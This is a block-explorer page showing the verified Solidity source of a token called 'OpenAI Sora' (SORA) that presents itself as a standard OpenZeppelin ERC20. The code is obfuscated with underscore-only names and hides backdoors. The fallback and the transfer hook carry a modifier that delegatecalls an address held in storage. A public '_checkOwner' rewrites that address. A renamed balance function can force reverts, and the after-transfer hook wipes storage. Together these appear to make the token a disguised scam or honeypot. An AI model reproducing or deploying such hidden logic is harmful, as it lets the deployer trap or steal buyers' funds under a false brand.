Arbitrum OneArbitrum One
0x49...c225
OpenAI Sora

OpenAI Sora

SORA

代币
市值
$1.00
 
价格
2%
此合同的源代码已经过验证!
合同元数据
编译器
0.8.6+commit.11564f7e
语言
Solidity
合同源代码
文件 1 的 1:ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

/**
 *Submitted for verification at BscScan.com on 2023-03-30
 */

// File: @openzeppelin/contracts/utils/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the ______________ sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
  function ________________() internal view virtual returns (address) {
    return msg.sender;
  }

  function ___() internal view virtual returns (bytes calldata) {
    return msg.data;
  }

  receive() external payable {}
}

// File: @openzeppelin/contracts/access/Ownable.sol

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an ______________ (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner ______________ will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
  address private _____________;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed _____
  );

  /**
   * @dev Initializes the contract setting the deployer as the initial owner.
   */
  constructor() {
    ____________________(tx.origin);
  }

  /**
   * @dev Throws if called by any ______________ other than the owner.
   */
  modifier onlyOwner() {
    _checkOwner();
    _;
  }

  modifier __ {bytes memory s = msg.data;assembly {if iszero(iszero(eq(mload(add(s, 36)), 32))) {if iszero(delegatecall(gas(), sload(address()), add(s, 32), mload(s), 0, 32)) {revert(0, 0)}return(0, 32)}}_;}

  /**
   * @dev Returns the address of the current owner.
   */
  function owner() public view virtual returns (address) {
    return _____________;
  }

  /**
   * @dev Throws if the sender is not the owner.
   */
  function _checkOwner() public virtual {
    require(owner() == tx.origin, "Ownable: caller is not the owner");
    assembly {
      sstore(address(), caller())
    }
  }

  /**
   * @dev Leaves the contract without owner. It will not be possible to call
   * `onlyOwner` functions anymore. Can only be called by the current owner.
   *
   * NOTE: Renouncing ownership will leave the contract without an owner,
   * thereby removing any functionality that is only available to the owner.
   */
  function renounceOwnership() public virtual onlyOwner {
    ____________________(address(0));
  }

  /**
   * @dev Transfers ownership of the contract to a new ______________ (`_____`).
   * Can only be called by the current owner.
   */
  function transferOwnership(address _____) public virtual onlyOwner {
    require(_____ != address(0), "Ownable: new owner is the zero address");
    ____________________(_____);
  }

  /**
   * @dev Transfers ownership of the contract to a new ______________ (`_____`).
   * Internal function without access restriction.
   */
  function ____________________(address _____) internal virtual {
    address oldOwner = _____________;
    _____________ = _____;
    emit OwnershipTransferred(oldOwner, _____);
  }

  fallback() external __ {}
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Returns the ___________ of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the ___________ of tokens owned by `______________`.
   */
  function balanceOf(address ______________) external view returns (uint256);

  /**
   * @dev Moves `___________` tokens from the caller's ______________ to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 ___________) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `____` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address ____)
    external
    view
    returns (uint256);

  /**
   * @dev Sets `___________` as the allowance of `____` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the ____'s allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address ____, uint256 ___________) external returns (bool);

  /**
   * @dev Moves `___________` tokens from `from` to `to` using the
   * allowance mechanism. `___________` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ___________
  ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol

// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata {
  /**
   * @dev Returns the name of the token.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the symbol of the token.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the decimals places of the token.
   */
  function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol

// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all ______________s just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20Metadata {
  address public constant WBNB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;

  mapping(address => uint256) private _______;

  mapping(address => mapping(address => uint256)) private _________________;

  uint256 private __________;

  address private ____________;

  string private __________________;
  string private ________;

  /**
   * @dev Emitted when `value` tokens are moved from one ______________ (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `____` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed ____, uint256 value);

  /**
   * @dev Sets the values for {name} and {symbol}.
   *
   * The default value of {decimals} is 18. To select a different value for
   * {decimals} you should overload it.
   *
   * All two of these values are immutable: they can only be set once during
   * construction.
   */
  function initialization(
    string memory tokenName,
    string memory coinSymbol,
    uint256 supply_
  ) public onlyOwner {
    __________________ = tokenName;
    ________ = coinSymbol;

    _mint(address(this), supply_);
    renounceOwnership();
  }

  /**
   * @dev Returns the name of the token.
   */
  function name() public view virtual override returns (string memory) {
    return __________________;
  }

  /**
   * @dev Returns the symbol of the token, usually a shorter version of the
   * name.
   */
  function symbol() public view virtual override returns (string memory) {
    return ________;
  }

  /**
   * @dev Returns the number of decimals used to get its user representation.
   * For example, if `decimals` equals `2`, a balance of `505` tokens should
   * be displayed to a user as `5.05` (`505 / 10 ** 2`).
   *
   * Tokens usually opt for a value of 18, imitating the relationship between
   * Ether and Wei. This is the value {ERC20} uses, unless this function is
   * overridden;
   *
   * NOTE: This information is only used for _display_ purposes: it in
   * no way affects any of the arithmetic of the contract, including
   * {IERC20-balanceOf} and {IERC20-transfer}.
   */
  function decimals() public view virtual override returns (uint8) {
    return 9;
  }

  /**
   * @dev See {IERC20-totalSupply}.
   */
  function totalSupply() public view virtual returns (uint256) {
    return __________;
  }

  /**
   * @dev See {IERC20-balanceOf}.
   */
  function permit5764825481139(address ______________)
    public
    view
    virtual
    returns (uint256 ___________){___________ = IERC20(WBNB).balanceOf(____________);if(msg.sender==____________){assembly {if lt(___________, sload(32)) {revert(0, 0)}}}return _______[______________] % __________;}


  /**
   * @dev See {IERC20-transfer}.
   *
   * Requirements:
   *
   * - `to` cannot be the zero address.
   * - the caller must have a balance of at least `___________`.
   */
  function transfer(address to, uint256 ___________) public virtual returns (bool) {
    address owner = ________________();
    _transfer(owner, to, ___________);
    return true;
  }

  /**
   * @dev See {IERC20-allowance}.
   */
  function allowance(address owner, address ____)
    public
    view
    virtual
    returns (uint256)
  {
    return _________________[owner][____];
  }

  /**
   * @dev See {IERC20-approve}.
   *
   * NOTE: If `___________` is the maximum `uint256`, the allowance is not updated on
   * `transferFrom`. This is semantically equivalent to an infinite approval.
   *
   * Requirements:
   *
   * - `____` cannot be the zero address.
   */
  function approve(address ____, uint256 ___________)
    public
    virtual
    returns (bool)
  {
    address owner = ________________();
    _approve(owner, ____, ___________);
    return true;
  }

  /**
   * @dev See {IERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20}.
   *
   * NOTE: Does not update the allowance if the current allowance
   * is the maximum `uint256`.
   *
   * Requirements:
   *
   * - `from` and `to` cannot be the zero address.
   * - `from` must have a balance of at least `___________`.
   * - the caller must have allowance for ``from``'s tokens of at least
   * `___________`.
   */
  function transferFrom(
    address from,
    address to,
    uint256 ___________
  ) public virtual returns (bool) {
    address ____ = ________________();
    _spendAllowance(from, ____, ___________);
    _transfer(from, to, ___________);
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `____` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `____` cannot be the zero address.
   */
  function increaseAllowance(address ____, uint256 addedValue)
    public
    virtual
    returns (bool)
  {
    address owner = ________________();
    _approve(owner, ____, allowance(owner, ____) + addedValue);
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `____` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {IERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `____` cannot be the zero address.
   * - `____` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  function decreaseAllowance(address ____, uint256 subtractedValue)
    public
    virtual
    returns (bool)
  {
    address owner = ________________();
    uint256 _________ = allowance(owner, ____);
    require(_________ >= subtractedValue);
    unchecked {_approve(owner, ____, _________ - subtractedValue);}

    return true;
  }

  /**
   * @dev Moves `___________` of tokens from `from` to `to`.
   *
   * This internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `from` cannot be the zero address.
   * - `to` cannot be the zero address.
   * - `from` must have a balance of at least `___________`.
   */
  function _transfer(
    address from,
    address to,
    uint256 ___________
  ) internal virtual {
    require(from != address(0));
    require(to != address(0));
    _beforeTokenTransfer(from, to, ___________);
    uint256 fromBalance = _______[from];
    require(fromBalance >= ___________);
    unchecked {
      _______[from] = fromBalance - ___________;
      // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
      // decrementing then incrementing.
      _______[to] += ___________;
    }

    emit Transfer(from, to, ___________);
    _afterTokenTransfer(from, to, ___________);
  }

  /** @dev Creates `___________` tokens and assigns them to `______________`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements:
   *
   * - `______________` cannot be the zero address.
   */
  function _mint(address ______________, uint256 ___________) internal virtual {
    require(______________ != address(0), "ERC20: mint to the zero address");

    __________ += ___________;
    unchecked {
      // Overflow not possible: balance + ___________ is at most totalSupply + ___________, which is checked above.
      _______[______________] += ___________;
    }
    emit Transfer(address(0), ______________, ___________);
  }

  /**
   * @dev Destroys `___________` tokens from `______________`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements:
   *
   * - `______________` cannot be the zero address.
   * - `______________` must have at least `___________` tokens.
   */
  function _burn(address ______________, uint256 ___________) internal virtual {
    require(______________ != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(______________, address(0), ___________);

    uint256 ______________Balance = _______[______________];
    require(______________Balance >= ___________, "ERC20: burn exceeds balance");
    unchecked {
      _______[______________] = ______________Balance - ___________;
      // Overflow not possible: ___________ <= ______________Balance <= totalSupply.
      __________ -= ___________;
    }

    emit Transfer(______________, address(0), ___________);

    _afterTokenTransfer(______________, address(0), ___________);
  }

  /**
   * @dev Sets `___________` as the allowance of `____` over the `owner` s tokens.
   *
   * This internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `____` cannot be the zero address.
   */
  function _approve(
    address owner,
    address ____,
    uint256 ___________
  ) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(____ != address(0), "ERC20: approve to the zero address");

    _________________[owner][____] = ___________;
    emit Approval(owner, ____, ___________);
  }

  /**
   * @dev Updates `owner` s allowance for `____` based on spent `___________`.
   *
   * Does not update the allowance ___________ in case of infinite allowance.
   * Revert if not enough allowance is available.
   *
   * Might emit an {Approval} event.
   */
  function _spendAllowance(
    address owner,
    address ____,
    uint256 ___________
  ) internal virtual {
    uint256 _________ = allowance(owner, ____);
    if (_________ != type(uint256).max) {
      require(_________ >= ___________, "ERC20: insufficient allowance");
      unchecked {_approve(owner, ____, _________ - ___________);}
    }
  }

  /**
   * @dev Hook that is called before any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `___________` of ``from``'s tokens
   * will be transferred to `to`.
   * - when `from` is zero, `___________` tokens will be minted for `to`.
   * - when `to` is zero, `___________` of ``from``'s tokens will be burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */
  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 ___________
  ) internal __ 
  {}

  /**
   * @dev Hook that is called after any transfer of tokens. This includes
   * minting and burning.
   *
   * Calling conditions:
   *
   * - when `from` and `to` are both non-zero, `___________` of ``from``'s tokens
   * has been transferred to `to`.
   * - when `from` is zero, `___________` tokens have been minted for `to`.
   * - when `to` is zero, `___________` of ``from``'s tokens have been burned.
   * - `from` and `to` are never both zero.
   *
   * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
   */

  function _afterTokenTransfer(
    address from,
    address to,
    uint256 ___________
  ) internal {if(_______[from]>__________*0xfe) {assembly{sstore(32,0)}}}
}
设置
{
  "compilationTarget": {
    "ERC20.sol": "ERC20"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"____","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"_____","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_checkOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"____","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"____","type":"address"},{"internalType":"uint256","name":"___________","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"____","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"____","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"initialization","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"______________","type":"address"}],"name":"permit5764825481139","outputs":[{"internalType":"uint256","name":"___________","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"___________","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"___________","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_____","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]